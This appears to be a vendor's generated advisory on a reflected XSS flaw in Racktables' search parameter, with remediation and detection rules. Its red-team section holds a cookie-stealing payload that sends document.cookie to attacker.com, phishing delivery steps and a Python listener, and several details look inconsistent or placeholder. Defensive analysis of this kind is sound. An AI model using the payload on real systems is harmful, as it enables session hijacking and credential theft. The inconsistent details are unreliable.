CVE-2023-49453
Executive Summary
CVE-2023-49453 is a reflected Cross-Site Scripting (XSS) vulnerability in Racktables version 0.22.0 and earlier. The flaw exists in the index.php search component, allowing a local attacker to inject arbitrary JavaScript into the application. This can lead to session hijacking, credential theft, and data exfiltration. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete data, but based on the vector, the actual severity is medium (CVSS 3.1 base score 6.1). No official patch is available, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for internal networks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Racktables is a PHP-based open-source asset management tool. It is not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability is in the core application code, not in a third-party package. Users should verify the integrity of their Racktables installation and consider manual code review.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be triggered over a network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Base Score: 6.1 (Medium)
Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant in a corporate environment where Racktables stores sensitive asset data.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in the search parameter of index.php. When a user submits a search query, the input is reflected back in the HTML response without proper sanitization or encoding. An attacker can craft a malicious URL containing JavaScript payloads. If a victim clicks the link, the script executes in the context of the Racktables application.
Root Cause: The search parameter is directly echoed into the page without using htmlspecialchars() or similar escaping functions. This allows injection of arbitrary HTML and JavaScript.
Attack Vector: The attacker sends a crafted link (e.g., via email or chat) to a user with access to the Racktables instance. The link contains a payload like:
http://target/racktables/index.php?search=<script>alert('XSS')</script>
Impact: An attacker can steal session cookies, perform actions on behalf of the victim, deface the page, or redirect to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (index.php, line ~45):
<?php
$search = $_GET['search'];
echo "Search results for: " . $search;
?>
Patched Code (hypothetical fix):
<?php
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $search;
?>
The fix uses htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy a Racktables instance (v0.22.0) in a lab environment.
- Craft Payload: Create a malicious URL:
http://target/racktables/index.php?search=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to a victim via phishing email or social engineering.
- Exfiltrate: Set up a listener on
attacker.comto capture cookies.
Example using Python for a simple listener:
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"Received: {self.path}")
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
Blue Team (Detection & Defense)
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing
<script>in thesearchparameter. - Input Validation: Implement server-side validation to reject non-alphanumeric characters in search queries.
- Content Security Policy (CSP): Add a CSP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self' - User Education: Train users not to click suspicious links.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/racktables/index.phpwith asearchparameter containing<script>tags. - Logs: Web server logs showing unusual
searchparameter values (e.g.,search=<script>). - File: No file-based IOCs; the attack is purely in-memory.
Example Log Entry:
192.168.1.100 - - [10/Oct/2023:13:55:36 +0000] "GET /racktables/index.php?search=<script>alert(1)</script> HTTP/1.1" 200 1234
Detection Engineering
YARA Rule
rule CVE_2023_49453_Racktables_XSS {
meta:
description = "Detects reflected XSS attempts against Racktables CVE-2023-49453"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-49453"
strings:
$xss_payload = /search=<script[^>]*>/
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS in Racktables index.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against Racktables CVE-2023-49453
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'search=<script'
condition: selection
falsepositives:
- Legitimate security testing
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-49453 Racktables Reflected XSS"; flow:to_server,established; content:"GET"; http_method; content:"/index.php"; http_uri; content:"search=<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Apply input sanitization to the
searchparameter inindex.php. Usehtmlspecialchars()or a similar function. - Short-term: Upgrade to a patched version if available. Since no official patch exists, consider forking the project or applying a manual fix.
- Long-term: Migrate to an actively maintained asset management solution.
- Compensating Controls: Deploy a WAF, enable CSP, and restrict network access to the Racktables instance.
Valters IT – DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.